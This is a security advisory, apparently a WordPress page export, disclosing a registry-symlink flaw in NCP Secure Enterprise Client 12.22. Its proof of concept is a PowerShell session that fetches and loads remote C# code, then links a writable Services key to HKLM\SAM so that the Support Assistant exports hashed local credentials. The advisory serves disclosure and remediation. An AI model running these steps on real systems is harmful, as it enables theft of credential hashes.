{"id":19562,"date":"2022-08-31T17:15:00","date_gmt":"2022-08-31T15:15:00","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=19562"},"modified":"2023-03-03T12:50:42","modified_gmt":"2023-03-03T11:50:42","slug":"usd-2022-0005","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0005\/","title":{"rendered":"usd-2022-0005"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.17.1\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.17.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n

usd-2022-0005 | NCP Secure Enterprise Client - Insecure Registry Export<\/h1>\n

Advisory ID:<\/strong> usd-2022-0005
Product:<\/strong> NCP Secure Enterprise Client
Affected Version:<\/strong> 12.22
Vulnerability Type:<\/strong> Insecure Registry Export
Security Risk:<\/strong> High
Vendor URL:<\/strong> https:\/\/www.ncp-e.com\/
Vendor Status:<\/strong> Fixed<\/p>\n

 <\/p>\n

Introduction<\/h3>\n

The Windows Registry<\/em> is a central storage location for configuration settings on the Windows<\/em> operating system. Data that is stored
within the Windows Registry<\/em> is utilized by several different components, like desktop applications, services, device drivers and also
the kernel itself. Several locations within the Windows Registry<\/em> are known to contain sensitive information. The probably most well
known example is the HKLM\\SAM<\/strong> hive, that stores hashed credentials of local user accounts.<\/p>\n

The NCP Secure Enterprise<\/em> client is a VPN<\/em> and networking application that is utilized by many organisations to connect workstations
to the cooperate network. The client supports a Support Assistant<\/em> feature, which allows low privileged user accounts to obtain diagnostic
information from the operating system. Within this diagnostic information, the NCP Secure Enterprise<\/em> client also exports information
from the Windows Registry<\/em>. During this export, Registry symbolic links<\/em> are followed and may allow to redirect the export to an arbitrary
location within the Windows Registry<\/em>.<\/p>\n

For such an attack to work, a low privileged user accounts need to be able to create Registry symbolic links<\/em> within the exported Registry
keys<\/em>. In the case of the NCP Secure Enterprise<\/em> client, this is possible, since the client exports all keys under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services*
recursively. On a default installation of <\/em>Windows, this <\/em>Registry key usually contains some keys where low privileged user accounts
can create <\/em>subkeys. Newly created <\/em>subkeys are owned by the creating user and it is possible to create <\/em>Registry symbolic links
within them that point to arbitrary <\/em>Registry locations. Since the <\/em>symlink* originates from a trusted <\/strong>HKLM hive, it is not restricted
by <\/em>Microsoft's<\/em> protection features for Registry symbolic links<\/em>.<\/p>\n

Proof of Concept<\/h3>\n

The first step is finding a Registry key<\/em> within HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services<\/strong> that is writable for low privileged
user accounts. Corresponding keys might vary for different installations, but on our test systems it was always possible to find at least
one such key. In the following we use the key HKLM\\System\\CurrentControlSet\\Services\\vds\\Alignment<\/strong> which seems to be available and allows
the creation of subkeys<\/em> on most installations.<\/p>\n

Within this Registry key<\/em> we now create a symbolic link<\/em> pointing to HKLM\\SAM<\/strong><\/p>\n

\n
<\/span>PS <\/span>C<\/span>:\\><\/span> $code<\/span> =<\/span> (<\/span>iwr <\/span>https<\/span>:\/\/<\/span>raw<\/span>.<\/span>githubusercontent<\/span>.<\/span>com<\/span>\/<\/span>usdAG<\/span>\/<\/span>SharpLink<\/span>\/<\/span>main<\/span>\/<\/span>SharpLink<\/span>.<\/span>cs<\/span>).<\/span>content<\/span>
PS <\/span>C<\/span>:\\><\/span> Add-Type<\/span> $code<\/span>
PS <\/span>C<\/span>:\\><\/span> [de.usd.SharpLink.RegistryLink]<\/span>::<\/span>CreateKey<\/span>(<\/span>\"HKLM\\System\\CurrentControlSet\\Services\\vds\\Alignment\\SUB\"<\/span>)<\/span>
[+]<\/span> Creating<\/span> registry<\/span> key<\/span>:<\/span> HKLM<\/span>\\<\/span>System<\/span>\\<\/span>CurrentControlSet<\/span>\\<\/span>Services<\/span>\\<\/span>vds<\/span>\\<\/span>Alignment<\/span>\\<\/span>SUB<\/span>
[+]<\/span> Registry<\/span> key<\/span> was<\/span> successfully<\/span> created<\/span>.<\/span>
PS <\/span>C<\/span>:\\><\/span> $r<\/span> =<\/span> New-Object<\/span> de<\/span>.<\/span>usd<\/span>.<\/span>SharpLink<\/span>.<\/span>RegistryLink<\/span>(<\/span>\"HKLM\\System\\CurrentControlSet\\Services\\vds\\Alignment\\SUB\\LINK\"<\/span>,<\/span> \"HKLM\\SAM\"<\/span>)<\/span>
PS <\/span>C<\/span>:\\><\/span> $r<\/span>.<\/span>Open<\/span>()<\/span>
[+]<\/span> Creating<\/span> registry<\/span> key<\/span>:<\/span> \\<\/span>Registry<\/span>\\<\/span>Machine<\/span>\\<\/span>System<\/span>\\<\/span>CurrentControlSet<\/span>\\<\/span>Services<\/span>\\<\/span>vds<\/span>\\<\/span>Alignment<\/span>\\<\/span>SUB<\/span>\\<\/span>LINK<\/span>
[+]<\/span> Assigning<\/span> symlink<\/span> property<\/span> pointing<\/span> to<\/span>:<\/span> \\<\/span>Registry<\/span>\\<\/span>Machine<\/span>\\<\/span>SAM<\/span>
[+]<\/span> RegistryLink<\/span> setup<\/span> successful<\/span>!<\/span><\/pre>\n<\/div>\n
After the Registry symbolic link<\/em> is setup, one can start the Support Assistant<\/em> using the NCP Secure Enterprise<\/em> client tray icon
(upper right inside the Help<\/em> menu). After the Support Assistant<\/em> was started, it collects support information from the operating system:<\/p>\n
\"\"<\/p>\n
The collected files can be viewed either from the Support Assistant<\/em> directly or by inspecting them in C:\\Users\\\\AppData\\Local\\Temp\\NcpSupport**.
Within the <\/strong>Services.reg file, one can find the export of the <\/strong>HKLM\\SAM** hive:<\/p>\n
\"\"<\/p>\n
Fix<\/h3>\n
During the collection of support information from the operating system, the NCP Secure Enterprise<\/em> client software should impersonate
the user that started the Support Assistant<\/em>. This way, only information that the invoking user is allowed to read can be obtained.<\/p>\n
References<\/h3>\n